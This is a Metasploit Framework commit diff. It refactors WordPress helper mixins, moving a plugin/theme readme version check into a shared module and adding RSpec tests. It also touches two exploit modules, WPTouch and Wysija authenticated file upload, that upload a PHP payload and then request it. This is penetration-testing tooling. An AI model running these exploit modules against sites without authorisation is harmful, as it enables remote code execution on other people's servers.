extracted check version to module
also added some wordpress specs and applied rubocopbug/bundler_fix
parent
ffafd4c01f
commit
baff003ecc
|
@ -1,3 +1,4 @@
|
|||
# encoding: UTF-8
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# This module provides a way of interacting with wordpress installations
|
||||
|
@ -25,10 +26,20 @@ module Msf
|
|||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||
], HTTP::Wordpress
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def wp_content_dir
|
||||
datastore['WPCONTENTDIR']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,28 +1,25 @@
|
|||
# encoding: UTF-8
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Base
|
||||
|
||||
# Checks if the site is online and running wordpress
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return res if res and
|
||||
res.code == 200 and
|
||||
(
|
||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
return res if res &&
|
||||
res.code == 200 &&
|
||||
(
|
||||
res.body =~ /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i ||
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i ||
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# encoding: UTF-8
|
||||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
# performs a wordpress login
|
||||
#
|
||||
# @param user [String] Username
|
||||
|
@ -8,21 +9,24 @@ module Msf::HTTP::Wordpress::Login
|
|||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def wordpress_login(user, pass)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||
})
|
||||
)
|
||||
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
if res && (res.code == 301 || res.code == 302) && res.headers['Location'] == redirect
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid wordpress cookie is returned
|
||||
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
return cookies if
|
||||
# current Wordpress
|
||||
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.0
|
||||
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.5
|
||||
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
|
||||
end
|
||||
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
# encoding: UTF-8
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Version
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||
|
@ -37,6 +37,28 @@ module Msf::HTTP::Wordpress::Version
|
|||
nil
|
||||
end
|
||||
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] plugin_name The name of the plugin
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional. The version the vulnerability was introduced.
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the plugin
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional. The version the vulnerability was introduced.
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot.
|
||||
|
@ -47,18 +69,62 @@ module Msf::HTTP::Wordpress::Version
|
|||
end
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
)
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
return match[1] if match
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :plugin
|
||||
folder = 'plugins'
|
||||
when :theme
|
||||
folder = 'themes'
|
||||
else
|
||||
fail("Unknown type #{type}")
|
||||
end
|
||||
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
||||
|
||||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
# Not in range, nut vulnerable
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
return
|
||||
# version newer than fixed version
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# encoding: UTF-8
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
|
@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress WPTouch Authenticated File Upload',
|
||||
'Description' => %q{
|
||||
The Wordpress WPTouch plugin contains an auhtenticated file upload
|
||||
|
@ -33,19 +36,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
|
||||
['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['wptouch < 3.4.3', {}] ],
|
||||
'Targets' => [['wptouch < 3.4.3', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 14 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [true, "A valid username", nil]),
|
||||
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
|
||||
OptString.new('USER', [true, 'A valid username', nil]),
|
||||
OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -58,55 +61,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
|
||||
res = send_request_cgi({
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
})
|
||||
# no readme.txt present
|
||||
if res.nil? || res.code != 200
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
if version.nil?
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the plugin")
|
||||
|
||||
if Gem::Version.new(version) < Gem::Version.new('3.4.3')
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
check_plugin_version_from_readme('wptouch', '3.4.3')
|
||||
end
|
||||
|
||||
def get_nonce(cookie)
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'uri' => wordpress_url_backend,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
)
|
||||
|
||||
# forward to profile.php or other page?
|
||||
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
|
||||
if res && res.code.to_s =~ /30[0-9]/ && res.headers['Location']
|
||||
location = res.headers['Location']
|
||||
print_status("#{peer} - Following redirect to #{location}")
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'uri' => location,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
)
|
||||
end
|
||||
|
||||
if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
|
||||
return $1
|
||||
if res && res.body && res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
|
||||
return Regexp.last_match[1]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
@ -124,20 +101,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload")
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
})
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.body and res.body.length > 0
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
register_files_for_cleanup(filename)
|
||||
return res.body
|
||||
end
|
||||
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -164,9 +141,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
print_status("#{peer} - Calling uploaded file #{file_path}")
|
||||
res = send_request_cgi({
|
||||
send_request_cgi(
|
||||
'uri' => file_path,
|
||||
'method' => 'GET'
|
||||
})
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -70,29 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the plugin")
|
||||
|
||||
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -101,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
zip_content = create_zip_file(theme_name, payload_name)
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
|
||||
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
|
||||
|
@ -112,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
|
||||
post_data = data.to_s
|
||||
|
||||
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
|
||||
payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name)
|
||||
|
||||
print_status("#{peer} - Uploading payload to #{payload_uri}")
|
||||
res = send_request_cgi(
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit'
|
||||
require 'rex/proto/http/response'
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
describe Msf::HTTP::Wordpress::Base do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::HTTP::Wordpress
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#wordpress_and_online?' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = wp_code
|
||||
res.body = wp_body
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_code) { 200 }
|
||||
|
||||
context 'when wp-content in body' do
|
||||
let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' }
|
||||
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when wlwmanifest in body' do
|
||||
let(:wp_body) { '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://domain.com/wp-includes/wlwmanifest.xml" />' }
|
||||
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when pingback in body' do
|
||||
let(:wp_body) { '<link rel="pingback" href="https://domain.com/xmlrpc.php" />' }
|
||||
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when status code != 200' do
|
||||
let(:wp_body) { nil }
|
||||
let(:wp_code) { 404 }
|
||||
it { expect(subject.wordpress_and_online?).to be_nil }
|
||||
end
|
||||
|
||||
context 'when no match in body' do
|
||||
let(:wp_body) { 'Invalid body' }
|
||||
it { expect(subject.wordpress_and_online?).to be_nil }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,73 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit'
|
||||
require 'rex/proto/http/response'
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
describe Msf::HTTP::Wordpress::Login do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::HTTP::Wordpress
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#wordpress_login' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 301
|
||||
if wp_redirect
|
||||
res['Location'] = wp_redirect
|
||||
else
|
||||
res['Location'] = opts['vars_post']['redirect_to']
|
||||
end
|
||||
res['Set-Cookie'] = wp_cookie
|
||||
res.body = 'My Homepage'
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_redirect) { nil }
|
||||
|
||||
context 'when current Wordpress' do
|
||||
let(:wp_cookie) { 'wordpress_logged_in_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when current Wordpress sec cookie' do
|
||||
let(:wp_cookie) { 'wordpress_sec_logged_in_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when Wordpress 2.5' do
|
||||
let(:wp_cookie) { 'wordpress_asdf=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when Wordpress 2.0 user cookie' do
|
||||
let(:wp_cookie) { 'wordpressuser_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when Wordpress 2.0 pass cookie' do
|
||||
let(:wp_cookie) { 'wordpresspass_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when invalid login' do
|
||||
let(:wp_cookie) { 'invalid=cookie;' }
|
||||
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
|
||||
end
|
||||
|
||||
context 'when invalid redirect' do
|
||||
let(:wp_cookie) { 'invalid=cookie;' }
|
||||
let(:wp_redirect) { '/invalid/redirect' }
|
||||
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,134 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit'
|
||||
require 'rex/proto/http/response'
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
describe Msf::HTTP::Wordpress::Version do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::HTTP::Wordpress
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#wordpress_version' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 200
|
||||
res.body = wp_body
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_version) {
|
||||
r = Random.new
|
||||
"#{r.rand(10)}.#{r.rand(10)}.#{r.rand(10)}"
|
||||
}
|
||||
|
||||
context 'when version from generator' do
|
||||
let(:wp_body) { '<meta name="generator" content="WordPress ' << wp_version << '" />' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from readme' do
|
||||
let(:wp_body) { " <br /> Version #{wp_version}" }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from rss' do
|
||||
let(:wp_body) { "<generator>http://wordpress.org/?v=#{wp_version}</generator>" }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from rdf' do
|
||||
let(:wp_body) { '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' << wp_version << '" />' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from atom' do
|
||||
let(:wp_body) { '<generator uri="http://wordpress.org/" version="' << wp_version << '">WordPress</generator>' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from sitemap' do
|
||||
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from opml' do
|
||||
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#check_version_from_readme' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = wp_code
|
||||
res.body = wp_body
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { nil }
|
||||
let(:wp_fixed_version) { nil }
|
||||
|
||||
context 'when no readme is found' do
|
||||
let(:wp_code) { 404 }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
|
||||
end
|
||||
|
||||
context 'when no version can be extracted from readme' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { 'invalid content' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
|
||||
end
|
||||
|
||||
context 'when installed version is vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_body) { 'stable tag: 1.0.0' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
|
||||
context 'when installed version is not vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_body) { 'stable tag: 1.0.2' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when installed version is vulnerable (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.2' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'stable tag: 1.0.1' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
|
||||
context 'when installed version is older (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'stable tag: 0.0.9' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when installed version is newer (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'stable tag: 1.0.2' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue